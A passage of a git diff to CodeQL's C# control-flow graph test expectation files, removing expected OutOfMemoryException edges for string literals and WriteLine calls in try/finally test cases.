{...} | Finally.cs:216:10:216:12 | M11 | | Finally.cs:233:10:233:12 | enter M12 | Finally.cs:233:10:233:12 | M12 | @@ -5375,10 +5307,8 @@ blockEnclosing | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:250:17:252:17 | {...} | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:233:10:233:12 | M12 | | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:233:10:233:12 | M12 | -| Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:233:10:233:12 | M12 | | Finally.cs:257:9:259:9 | {...} | Finally.cs:233:10:233:12 | M12 | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:6:10:6:11 | M1 | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | M1 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected index f389324db3b..9a657596235 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected @@ -982,25 +982,19 @@ | CompileTimeOperators.cs:22:23:22:23 | access to parameter i | CompileTimeOperators.cs:22:23:22:23 | access to parameter i | normal | | CompileTimeOperators.cs:29:5:41:5 | {...} | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | goto(End) [normal] (0) | | CompileTimeOperators.cs:29:5:41:5 | {...} | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | throw(Exception) [normal] (0) | -| CompileTimeOperators.cs:29:5:41:5 | {...} | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | CompileTimeOperators.cs:29:5:41:5 | {...} | CompileTimeOperators.cs:40:14:40:37 | call to method WriteLine | normal | | CompileTimeOperators.cs:30:9:38:9 | try {...} ... | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | goto(End) [normal] (0) | | CompileTimeOperators.cs:30:9:38:9 | try {...} ... | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | normal | | CompileTimeOperators.cs:30:9:38:9 | try {...} ... | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | throw(Exception) [normal] (0) | -| CompileTimeOperators.cs:30:9:38:9 | try {...} ... | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | CompileTimeOperators.cs:31:9:34:9 | {...} | CompileTimeOperators.cs:32:13:32:21 | goto ...; | goto(End) | | CompileTimeOperators.cs:31:9:34:9 | {...} | CompileTimeOperators.cs:33:13:33:37 | call to method WriteLine | normal | | CompileTimeOperators.cs:31:9:34:9 | {...} | CompileTimeOperators.cs:33:13:33:37 | call to method WriteLine | throw(Exception) | -| CompileTimeOperators.cs:31:9:34:9 | {...} | CompileTimeOperators.cs:33:31:33:36 | "Dead" | throw(OutOfMemoryException) | | CompileTimeOperators.cs:32:13:32:21 | goto ...; | CompileTimeOperators.cs:32:13:32:21 | goto ...; | goto(End) | | CompileTimeOperators.cs:33:13:33:37 | call to method WriteLine | CompileTimeOperators.cs:33:13:33:37 | call to method WriteLine | normal | | CompileTimeOperators.cs:33:13:33:37 | call to method WriteLine | CompileTimeOperators.cs:33:13:33:37 | call to method WriteLine | throw(Exception) | -| CompileTimeOperators.cs:33:13:33:37 | call to method WriteLine | CompileTimeOperators.cs:33:31:33:36 | "Dead" | throw(OutOfMemoryException) | | CompileTimeOperators.cs:33:13:33:38 | ...; | CompileTimeOperators.cs:33:13:33:37 | call to method WriteLine | normal | | CompileTimeOperators.cs:33:13:33:38 | ...; | CompileTimeOperators.cs:33:13:33:37 | call to method WriteLine | throw(Exception) | -| CompileTimeOperators.cs:33:13:33:38 | ...; | CompileTimeOperators.cs:33:31:33:36 | "Dead" | throw(OutOfMemoryException) | | CompileTimeOperators.cs:33:31:33:36 | "Dead" | CompileTimeOperators.cs:33:31:33:36 | "Dead" | normal | -| CompileTimeOperators.cs:33:31:33:36 | "Dead" | CompileTimeOperators.cs:33:31:33:36 | "Dead" | throw(OutOfMemoryException) | | CompileTimeOperators.cs:36:9:38:9 | {...} | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | normal | | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | normal | | CompileTimeOperators.cs:37:13:37:41 | ...; | CompileTimeOperators.cs:37:13:37:40 | call to method WriteLine | normal | @@ -1635,21 +1629,15 @@ | Extensions.cs:25:23:25:32 | delegate creation of type Func<String,Boolean> | Extensions.cs:25:23:25:32 | delegate creation of type Func<String,Boolean> | normal | | Finally.cs:8:5:17:5 | {...} | Finally.cs:15:13:15:40 | call to method WriteLine | normal | | Finally.cs:8:5:17:5 | {...} | Finally.cs:15:13:15:40 | call to method WriteLine | throw(Exception) [normal] (0) | -| Finally.cs:8:5:17:5 | {...} | Finally.cs:15:13:15:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:9:9:16:9 | try {...} ... | Finally.cs:15:13:15:40 | call to method WriteLine | normal | | Finally.cs:9:9:16:9 | try {...} ... | Finally.cs:15:13:15:40 | call to method WriteLine | throw(Exception) [normal] (0) | -| Finally.cs:9:9:16:9 | try {...} ... | Finally.cs:15:13:15:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:10:9:12:9 | {...} | Finally.cs:11:13:11:37 | call to method WriteLine | normal | | Finally.cs:10:9:12:9 | {...} | Finally.cs:11:13:11:37 | call to method WriteLine | throw(Exception) | -| Finally.cs:10:9:12:9 | {...} | Finally.cs:11:31:11:36 | "Try1" | throw(OutOfMemoryException) | | Finally.cs:11:13:11:37 | call to method WriteLine | Finally.cs:11:13:11:37 | call to method WriteLine | normal | | Finally.cs:11:13:11:37 | call to method WriteLine | Finally.cs:11:13:11:37 | call to method WriteLine | throw(Exception) | -| Finally.cs:11:13:11:37 | call to method WriteLine | Finally.cs:11:31:11:36 | "Try1" | throw(OutOfMemoryException) | | Finally.cs:11:13:11:38 | ...; | Finally.cs:11:13:11:37 | call to method WriteLine | normal | | Finally.cs:11:13:11:38 | ...; | Finally.cs:11:13:11:37 | call to method WriteLine | throw(Exception) | -| Finally.cs:11:13:11:38 | ...; | Finally.cs:11:31:11:36 | "Try1" | throw(OutOfMemoryException) | | Finally.cs:11:31:11:36 | "Try1" | Finally.cs:11:31:11:36 | "Try1" | normal | -| Finally.cs:11:31:11:36 | "Try1" | Finally.cs:11:31:11:36 | "Try1" | throw(OutOfMemoryException) | | Finally.cs:14:9:16:9 | {...} | Finally.cs:15:13:15:40 | call to method WriteLine | normal | | Finally.cs:15:13:15:40 | call to method WriteLine | Finally.cs:15:13:15:40 | call to method WriteLine | normal | | Finally.cs:15:13:15:41 | ...; | Finally.cs:15:13:15:40 | call to method WriteLine | normal | @@ -1663,16 +1651,12 @@ | Finally.cs:21:9:51:9 | try {...} ... | Finally.cs:50:13:50:40 | call to method WriteLine | throw(Exception) [normal] (0) | | Finally.cs:21:9:51:9 | try {...} ... | Finally.cs:50:13:50:40 | call to method WriteLine | throw(IOException) [normal] (0) | | Finally.cs:22:9:25:9 | {...} | Finally.cs:23:13:23:37 | call to method WriteLine | throw(Exception) | -| Finally.cs:22:9:25:9 | {...} | Finally.cs:23:31:23:36 | "Try2" | throw(OutOfMemoryException) | | Finally.cs:22:9:25:9 | {...} | Finally.cs:24:13:24:19 | return ...; | return | | Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:23:13:23:37 | call to method WriteLine | normal | | Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:23:13:23:37 | call to method WriteLine | throw(Exception) | -| Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:23:31:23:36 | "Try2" | throw(OutOfMemoryException) | | Finally.cs:23:13:23:38 | ...; | Finally.cs:23:13:23:37 | call to method WriteLine | normal | | Finally.cs:23:13:23:38 | ...; | Finally.cs:23:13:23:37 | call to method WriteLine | throw(Exception) | -| Finally.cs:23:13:23:38 | ...; | Finally.cs:23:31:23:36 | "Try2" | throw(OutOfMemoryException) | | Finally.cs:23:31:23:36 | "Try2" | Finally.cs:23:31:23:36 | "Try2" | normal | -| Finally.cs:23:31:23:36 | "Try2" | Finally.cs:23:31:23:36 | "Try2" | throw(OutOfMemoryException) | | Finally.cs:24:13:24:19 | return ...; | Finally.cs:24:13:24:19 | return ...; | return | | Finally.cs:26:9:29:9 | catch (...) {...} | Finally.cs:26:9:29:9 | catch (...) {...} | no-match | | Finally.cs:26:9:29:9 | catch (...) {...} | Finally.cs:28:13:28:18 | throw ...; | throw(IOException) | @@ -1707,23 +1691,17 @@ | Finally.cs:55:5:72:5 | {...} | Finally.cs:70:13:70:40 | call to method WriteLine | return [normal] (0) | | Finally.cs:55:5:72:5 | {...} | Finally.cs:70:13:70:40 | call to method WriteLine | throw(Exception) [normal] (0) | | Finally.cs:55:5:72:5 | {...} | Finally.cs:70:13:70:40 | call to method WriteLine | throw(IOException) [normal] (0) | -| Finally.cs:55:5:72:5 | {...} | Finally.cs:70:13:70:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:56:9:71:9 | try {...} ... | Finally.cs:70:13:70:40 | call to method WriteLine | normal | | Finally.cs:56:9:71:9 | try {...} ... | Finally.cs:70:13:70:40 | call to method WriteLine | return [normal] (0) | | Finally.cs:56:9:71:9 | try {...} ... | Finally.cs:70:13:70:40 | call to method WriteLine | throw(Exception) [normal] (0) | | Finally.cs:56:9:71:9 | try {...} ... | Finally.cs:70:13:70:40 | call to method WriteLine | throw(IOException) [normal] (0) | -| Finally.cs:56:9:71:9 | try {...} ... | Finally.cs:70:13:70:40 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:57:9:60:9 | {...} | Finally.cs:58:13:58:37 | call to method WriteLine | throw(Exception) | -| Finally.cs:57:9:60:9 | {...} | Finally.cs:58:31:58:36 | "Try3" | throw(OutOfMemoryException) | | Finally.cs:57:9:60:9 | {...} | Finally.cs:59:13:59:19 | return ...; | return | | Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:58:13:58:37 | call to method WriteLine | normal | | Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:58:13:58:37 | call to method WriteLine | throw(Exception) | -| Finally.cs:58:13:58:37 | call to method WriteLine | Finally.cs:58:31:58:36 | "Try3" | throw(OutOfMemoryException) | | Finally.cs:58:13:58:38 | ...; | Finally.cs:58:13:58:37 | call to method WriteLine | normal | | Finally.cs:58:13:58:38 | ...; | Finally.cs:58:13:58:37 | call to method WriteLine | throw(Exception) | -| Finally.cs:58:13:58:38 | ...; | Finally.cs:58:31:58:36 | "Try3" | throw(OutOfMemoryException) | | Finally.cs:58:31:58:36 | "Try3" | Finally.cs:58:31:58:36 | "Try3" | normal | -| Finally.cs:58:31:58:36 | "Try3" | Finally.cs:58:31:58:36 | "Try3" | throw(OutOfMemoryException) | | Finally.cs:59:13:59:19 | return ...; | Finally.cs:59:13:59:19 | return ...; | return | | Finally.cs:61:9:64:9 | catch (...) {...} | Finally.cs:61:9:64:9 | catch (...) {...} | no-match | | Finally.cs:61:9:64:9 | catch (...) {...} | Finally.cs:63:13:63:18 | throw ...; | throw(IOException) | @@ -1732,9 +1710,7 @@ | Finally.cs:62:9:64:9 | {...} | Finally.cs:63:13:63:18 | throw ...; | throw(IOException) | | Finally.cs:63:13:63:18 | throw ...; | Finally.cs:63:13:63:18 | throw ...; | throw(IOException) | | Finally.cs:65:9:67:9 | catch (...) {...} | Finally.cs:65:9:67:9 | catch (...) {...} | throw(Exception) [no-match] (0) | -| Finally.cs:65:9:67:9 | catch (...) {...} | Finally.cs:65:9:67:9 | catch (...) {...} | throw(OutOfMemoryException) [no-match] (0) | | Finally.cs:65:9:67:9 | catch (...) {...} | Finally.cs:65:35:65:51 | ... != ... | throw(Exception) [false] (0) | -| Finally.cs:65:9:67:9 | catch (...) {...} | Finally.cs:65:35:65:51 | ... != ... | throw(OutOfMemoryException) [false] (0) | | Finally.cs:65:9:67:9 | catch (...) {...} | Finally.cs:66:9:67:9 | {...} | normal | | Finally.cs:65:26:65:26 | Exception e | Finally.cs:65:26:65:26 | Exception e | normal | | Finally.cs:65:35:65:35 | access to local variable e | Finally.cs:65:35:65:35 | access to local variable e | normal | @@ -1934,23 +1910,17 @@ | Finally.cs:129:13:129:13 | ; | Finally.cs:129:13:129:13 | ; | normal | | Finally.cs:134:5:145:5 | {...} | Finally.cs:141:13:141:44 | throw ...; | throw(ArgumentException) | | Finally.cs:134:5:145:5 | {...} | Finally.cs:142:13:142:37 | call to method WriteLine | throw(Exception) [normal] (0) | -| Finally.cs:134:5:145:5 | {...} | Finally.cs:142:13:142:37 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:134:5:145:5 | {...} | Finally.cs:144:9:144:33 | call to method WriteLine | normal | | Finally.cs:135:9:143:9 | try {...} ... | Finally.cs:141:13:141:44 | throw ...; | throw(ArgumentException) | | Finally.cs:135:9:143:9 | try {...} ... | Finally.cs:142:13:142:37 | call to method WriteLine | normal | | Finally.cs:135:9:143:9 | try {...} ... | Finally.cs:142:13:142:37 | call to method WriteLine | throw(Exception) [normal] (0) | -| Finally.cs:135:9:143:9 | try {...} ... | Finally.cs:142:13:142:37 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:136:9:138:9 | {...} | Finally.cs:137:13:137:36 | call to method WriteLine | normal | | Finally.cs:136:9:138:9 | {...} | Finally.cs:137:13:137:36 | call to method WriteLine | throw(Exception) | -| Finally.cs:136:9:138:9 | {...} | Finally.cs:137:31:137:35 | "Try" | throw(OutOfMemoryException) | | Finally.cs:137:13:137:36 | call to method WriteLine | Finally.cs:137:13:137:36 | call to method WriteLine | normal | | Finally.cs:137:13:137:36 | call to method WriteLine | Finally.cs:137:13:137:36 | call to method WriteLine | throw(Exception) | -| Finally.cs:137:13:137:36 | call to method WriteLine | Finally.cs:137:31:137:35 | "Try" | throw(OutOfMemoryException) | | Finally.cs:137:13:137:37 | ...; | Finally.cs:137:13:137:36 | call to method WriteLine | normal | | Finally.cs:137:13:137:37 | ...; | Finally.cs:137:13:137:36 | call to method WriteLine | throw(Exception) | -| Finally.cs:137:13:137:37 | ...; | Finally.cs:137:31:137:35 | "Try" | throw(OutOfMemoryException) | | Finally.cs:137:31:137:35 | "Try" | Finally.cs:137:31:137:35 | "Try" | normal | -| Finally.cs:137:31:137:35 | "Try" | Finally.cs:137:31:137:35 | "Try" | throw(OutOfMemoryException) | | Finally.cs:140:9:143:9 | {...} | Finally.cs:141:13:141:44 | throw ...; | throw(ArgumentException) | | Finally.cs:140:9:143:9 | {...} | Finally.cs:142:13:142:37 | call to method WriteLine | normal | | Finally.cs:141:13:141:44 | throw ...; | Finally.cs:141:13:141:44 | throw ...; | throw(ArgumentException) | @@ -2005,13 +1975,11 @@ | Finally.cs:157:13:160:13 | {...} | Finally.cs:158:21:158:36 | ... == ... | false | | Finally.cs:157:13:160:13 | {...} | Finally.cs:159:21:159:45 | throw ...; | throw(Exception) | | Finally.cs:157:13:160:13 | {...} | Finally.cs:159:27:159:44 | object creation of type Exception | throw(Exception) | -| Finally.cs:157:13:160:13 | {...} | Finally.cs:159:41:159:43 | "1" | throw(OutOfMemoryException) | | Finally.cs:158:17:159:45 | if (...) ... | Finally.cs:158:21:158:31 | access to property Length | throw(Exception) | | Finally.cs:158:17:159:45 | if (...) ... | Finally.cs:158:21:158:31 | access to property Length | throw(NullReferenceException) | | Finally.cs:158:17:159:45 | if (...) ... | Finally.cs:158:21:158:36 | ... == ... | false | | Finally.cs:158:17:159:45 | if (...) ... | Finally.cs:159:21:159:45 | throw ...; | throw(Exception) | | Finally.cs:158:17:159:45 | if (...) ... | Finally.cs:159:27:159:44 | object creation of type Exception | throw(Exception) | -| Finally.cs:158:17:159:45 | if (...) ... | Finally.cs:159:41:159:43 | "1" | throw(OutOfMemoryException) | | Finally.cs:158:21:158:24 | access to parameter args | Finally.cs:158:21:158:24 | access to parameter args | normal | | Finally.cs:158:21:158:31 | access to property Length | Finally.cs:158:21:158:31 | access to property Length | normal | | Finally.cs:158:21:158:31 | access to property Length | Finally.cs:158:21:158:31 | access to property Length | throw(Exception) | @@ -2023,12 +1991,9 @@ | Finally.cs:158:36:158:36 | 1 | Finally.cs:158:36:158:36 | 1 | normal | | Finally.cs:159:21:159:45 | throw ...; | Finally.cs:159:21:159:45 | throw ...; | throw(Exception) | | Finally.cs:159:21:159:45 | throw ...; | Finally.cs:159:27:159:44 | object creation of type Exception | throw(Exception) | -| Finally.cs:159:21:159:45 | throw ...; | Finally.cs:159:41:159:43 | "1" | throw(OutOfMemoryException) | | Finally.cs:159:27:159:44 | object creation of type Exception | Finally.cs:159:27:159:44 | object creation of type Exception | normal | | Finally.cs:159:27:159:44 | object creation of type Exception | Finally.cs:159:27:159:44 | object creation of type Exception | throw(Exception) | -| Finally.cs:159:27:159:44 | object creation of type Exception | Finally.cs:159:41:159:43 | "1" | throw(OutOfMemoryException) | | Finally.cs:159:41:159:43 | "1" | Finally.cs:159:41:159:43 | "1" | normal | -| Finally.cs:159:41:159:43 | "1" | Finally.cs:159:41:159:43 | "1" | throw(OutOfMemoryException) | | Finally.cs:161:13:164:13 | catch (...) {...} | Finally.cs:161:13:164:13 | catch (...) {...} | no-match | | Finally.cs:161:13:164:13 | catch (...) {...} | Finally.cs:161:39:161:54 | ... == ... | false | | Finally.cs:161:13:164:13 | catch (...) {...} | Finally.cs:163:17:163:42 | call to method WriteLine | normal | @@ -2191,15 +2156,11 @@ | Finally.cs:218:9:229:9 | try {...} ... | Finally.cs:228:13:228:40 | call to method WriteLine | normal | | Finally.cs:219:9:221:9 | {...} | Finally.cs:220:13:220:36 | call to method WriteLine | normal | | Finally.cs:219:9:221:9 | {...} | Finally.cs:220:13:220:36 | call to method WriteLine | throw(Exception) | -| Finally.cs:219:9:221:9 | {...} | Finally.cs:220:31:220:35 | "Try" | throw(OutOfMemoryException) | | Finally.cs:220:13:220:36 | call to method WriteLine | Finally.cs:220:13:220:36 | call to method WriteLine | normal | | Finally.cs:220:13:220:36 | call to method WriteLine | Finally.cs:220:13:220:36 | call to method WriteLine | throw(Exception) | -| Finally.cs:220:13:220:36 | call to method WriteLine | Finally.cs:220:31:220:35 | "Try" | throw(OutOfMemoryException) | | Finally.cs:220:13:220:37 | ...; | Finally.cs:220:13:220:36 | call to method WriteLine | normal | | Finally.cs:220:13:220:37 | ...; | Finally.cs:220:13:220:36 | call to method WriteLine | throw(Exception) | -| Finally.cs:220:13:220:37 | ...; | Finally.cs:220:31:220:35 | "Try" | throw(OutOfMemoryException) | | Finally.cs:220:31:220:35 | "Try" | Finally.cs:220:31:220:35 | "Try" | normal | -| Finally.cs:220:31:220:35 | "Try" | Finally.cs:220:31:220:35 | "Try" | throw(OutOfMemoryException) | | Finally.cs:222:9:225:9 | catch {...} | Finally.cs:224:13:224:38 | call to method WriteLine | normal | | Finally.cs:223:9:225:9 | {...} | Finally.cs:224:13:224:38 | call to method WriteLine | normal | | Finally.cs:224:13:224:38 | call to method WriteLine | Finally.cs:224:13:224:38 | call to method WriteLine | normal | @@ -2214,19 +2175,16 @@ | Finally.cs:230:27:230:32 | "Done" | Finally.cs:230:27:230:32 | "Done" | normal | | Finally.cs:234:5:261:5 | {...} | Finally.cs:258:13:258:46 | call to method WriteLine | throw(Exception) [normal] (0) | | Finally.cs:234:5:261:5 | {...} | Finally.cs:258:13:258:46 | call to method WriteLine | throw(ExceptionA) [normal] (0) | -| Finally.cs:234:5:261:5 | {...} | Finally.cs:258:13:258:46 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:234:5:261:5 | {...} | Finally.cs:260:9:260:33 | call to method WriteLine | normal | | Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:258:13:258:46 | call to method WriteLine | normal | | Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:258:13:258:46 | call to method WriteLine | throw(Exception) [normal] (0) | | Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:258:13:258:46 | call to method WriteLine | throw(ExceptionA) [normal] (0) | -| Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:258:13:258:46 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | Finally.cs:236:9:255:9 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] (0) | | Finally.cs:236:9:255:9 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] (1) | | Finally.cs:236:9:255:9 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(ExceptionA) [normal] (0) | | Finally.cs:236:9:255:9 | {...} | Finally.cs:251:21:251:54 | call to method WriteLine | throw(ExceptionA) [normal] (1) | | Finally.cs:236:9:255:9 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | normal | | Finally.cs:236:9:255:9 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | throw(Exception) | -| Finally.cs:236:9:255:9 | {...} | Finally.cs:254:31:254:43 | "Mid finally" | throw(OutOfMemoryException) | | Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | normal | | Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] (0) | | Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:251:21:251:54 | call to method WriteLine | throw(Exception) [normal] (1) | @@ -2268,12 +2226,9 @@ | Finally.cs:251:39:251:53 | "Inner finally" | Finally.cs:251:39:251:53 | "Inner finally" | normal | | Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:254:13:254:44 | call to method WriteLine | normal | | Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:254:13:254:44 | call to method WriteLine | throw(Exception) | -| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:254:31:254:43 | "Mid finally" | throw(OutOfMemoryException) | | Finally.cs:254:13:254:45 | ...; | Finally.cs:254:13:254:44 | call to method WriteLine | normal | | Finally.cs:254:13:254:45 | ...; | Finally.cs:254:13:254:44 | call to method WriteLine | throw(Exception) | -| Finally.cs:254:13:254:45 | ...; | Finally.cs:254:31:254:43 | "Mid finally" | throw(OutOfMemoryException) | | Finally.cs:254:31:254:43 | "Mid finally" | Finally.cs:254:31:254:43 | "Mid finally" | normal | -| Finally.cs:254:31:254:43 | "Mid finally" | Finally.cs:254:31:254:43 | "Mid finally" | throw(OutOfMemoryException) | | Finally.cs:257:9:259:9 | {...} | Finally.cs:258:13:258:46 | call to method WriteLine | normal | | Finally.cs:258:13:258:46 | call to method WriteLine | Finally.cs:258:13:258:46 | call to method WriteLine | normal | | Finally.cs:258:13:258:47 | ...; | Finally.cs:258:13:258:46 | call to method WriteLine | normal | @@ -4112,7 +4067,6 @@ | cflow.cs:262:5:277:5 | {...} | cflow.cs:275:13:275:41 | call to method WriteLine | normal | | cflow.cs:262:5:277:5 | {...} | cflow.cs:275:13:275:41 | call to method WriteLine | return [normal] (0) | | cflow.cs:262:5:277:5 | {...} | cflow.cs:275:13:275:41 | call to method WriteLine | throw(Exception) [normal] (0) | -| cflow.cs:262:5:277:5 | {...} | cflow.cs:275:13:275:41 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | cflow.cs:263:9:263:23 | yield return ...; | cflow.cs:263:9:263:23 | yield return ...; | normal | | cflow.cs:263:22:263:22 | 0 | cflow.cs:263:22:263:22 | 0 | normal | | cflow.cs:264:9:267:9 | for (...;...;...) ... | cflow.cs:264:25:264:30 | ... < ... | false | @@ -4130,20 +4084,15 @@ | cflow.cs:268:9:276:9 | try {...} ... | cflow.cs:275:13:275:41 | call to method WriteLine | normal | | cflow.cs:268:9:276:9 | try {...} ... | cflow.cs:275:13:275:41 | call to method WriteLine | return [normal] (0) | | cflow.cs:268:9:276:9 | try {...} ... | cflow.cs:275:13:275:41 | call to method WriteLine | throw(Exception) [normal] (0) | -| cflow.cs:268:9:276:9 | try {...} ... | cflow.cs:275:13:275:41 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | cflow.cs:269:9:272:9 | {...} | cflow.cs:270:13:270:24 | yield break; | return | | cflow.cs:269:9:272:9 | {...} | cflow.cs:271:13:271:42 | call to method WriteLine | normal | | cflow.cs:269:9:272:9 | {...} | cflow.cs:271:13:271:42 | call to method WriteLine | throw(Exception) | -| cflow.cs:269:9:272:9 | {...} | cflow.cs:271:31:271:41 | "dead code" | throw(OutOfMemoryException) | | cflow.cs:270:13:270:24 | yield break; | cflow.cs:270:13:270:24 | yield break; | return | | cflow.cs:271:13:271:42 | call to method WriteLine | cflow.cs:271:13:271:42 | call to method WriteLine | normal | | cflow.cs:271:13:271:42 | call to method WriteLine | cflow.cs:271:13:271:42 | call to method WriteLine | throw(Exception) | -| cflow.cs:271:13:271:42 | call to method WriteLine | cflow.cs:271:31:271:41 | "dead code" | throw(OutOfMemoryException) | | cflow.cs:271:13:271:43 | ...; | cflow.cs:271:13:271:42 | call to method WriteLine | normal | | cflow.cs:271:13:271:43 | ...; | cflow.cs:271:13:271:42 | call to method WriteLine | throw(Exception) | -| cflow.cs:271:13:271:43 | ...; | cflow.cs:271:31:271:41 | "dead code" | throw(OutOfMemoryException) | | cflow.cs:271:31:271:41 | "dead code" | cflow.cs:271:31:271:41 | "dead code" | normal | -| cflow.cs:271:31:271:41 | "dead code" | cflow.cs:271:31:271:41 | "dead code" | throw(OutOfMemoryException) | | cflow.cs:274:9:276:9 | {...} | cflow.cs:275:13:275:41 | call to method WriteLine | normal | | cflow.cs:275:13:275:41 | call to method WriteLine | cflow.cs:275:13:275:41 | call to method WriteLine | normal | | cflow.cs:275:13:275:42 | ...; | cflow.cs:275:13:275:41 | call to method WriteLine | normal | diff --git a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected index 15c97dd2c42..f3fabcfe6bb 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected @@ -1859,19 +1859,14 @@ | Finally.cs:11:13:11:37 | call to method WriteLine | Finally.cs:14:9:16:9 | {...} | semmle.label | successor | | Finally.cs:11:13:11:38 | ...; | Finally.cs:11:31:11:36 | "Try1" | semmle.label | successor | | Finally.cs:11:31:11:36 | "Try1" | Finally.cs:11:13:11:37 | call to method WriteLine | semmle.label | successor | -| Finally.cs:11:31:11:36 | "Try1" | Finally.cs:14:9:16:9 | [finally: exception(OutOfMemoryException)] {...} | semmle.label | exception(OutOfMemoryException) | | Finally.cs:14:9:16:9 | [finally: exception(Exception)] {...} | Finally.cs:15:13:15:41 | [finally: exception(Exception)] ...; | semmle.label | successor | -| Finally.cs:14:9:16:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:15:13:15:41 | [finally: exception(OutOfMemoryException)] ...; | semmle.label | successor | | Finally.cs:14:9:16:9 | {...} | Finally.cs:15:13:15:41 | ...; | semmle.label | successor | | Finally.cs:15:13:15:40 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:7:10:7:11 | exit M1 (abnormal) | semmle.label | exception(Exception) | -| Finally.cs:15:13:15:40 | [finally: exception(OutOfMemoryException)] call to method WriteLine | Finally.cs:7:10:7:11 | exit M1 (abnormal) | semmle.label | exception(OutOfMemoryException) | | Finally.cs:15:13:15:40 | call to method WriteLine | Finally.cs:7:10:7:11 | exit M1 (normal) | semmle.label | successor | | Finally.cs:15:13:15:41 | ...; | Finally.cs:15:31:15:39 | "Finally" | semmle.label | successor | | Finally.cs:15:13:15:41 | [finally: exception(Exception)] ...; | Finally.cs:15:31:15:39 | [finally: exception(Exception)] "Finally" | semmle.label | successor | -| Finally.cs:15:13:15:41 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:15:31:15:39 | [finally: exception(OutOfMemoryException)] "Finally" | semmle.label | successor | | Finally.cs:15:31:15:39 | "Finally" | Finally.cs:15:13:15:40 | call to method WriteLine | semmle.label | successor | | Finally.cs:15:31:15:39 | [finally: exception(Exception)] "Finally" | Finally.cs:15:13:15:40 | [finally: exception(Exception)] call to method WriteLine | semmle.label | successor | -| Finally.cs:15:31:15:39 | [finally: exception(OutOfMemoryException)] "Finally" | Finally.cs:15:13:15:40 | [finally: exception(OutOfMemoryException)] call to method WriteLine | semmle.label | successor | | Finally.cs:19:10:19:11 | enter M2 | Finally.cs:20:5:52:5 | {...} | semmle.label | successor | | Finally.cs:19:10:19:11 | exit M2 (abnormal) | Finally.cs:19:10:19:11 | exit M2 | semmle.label | successor | | Finally.cs:19:10:19:11 | exit M2 (normal) | Finally.cs:19:10:19:11 | exit M2 | semmle.label | successor | @@ -1882,18 +1877,15 @@ | Finally.cs:23:13:23:37 | call to method WriteLine | Finally.cs:26:9:29:9 | [exception: Exception] catch (...) {...} | semmle.label | exception(Exception) | | Finally.cs:23:13:23:38 | ...; | Finally.cs:23:31:23:36 | "Try2" | semmle.label | successor | | Finally.cs:23:31:23:36 | "Try2" | Finally.cs:23:13:23:37 | call to method WriteLine | semmle.label | successor | -| Finally.cs:23:31:23:36 | "Try2" | 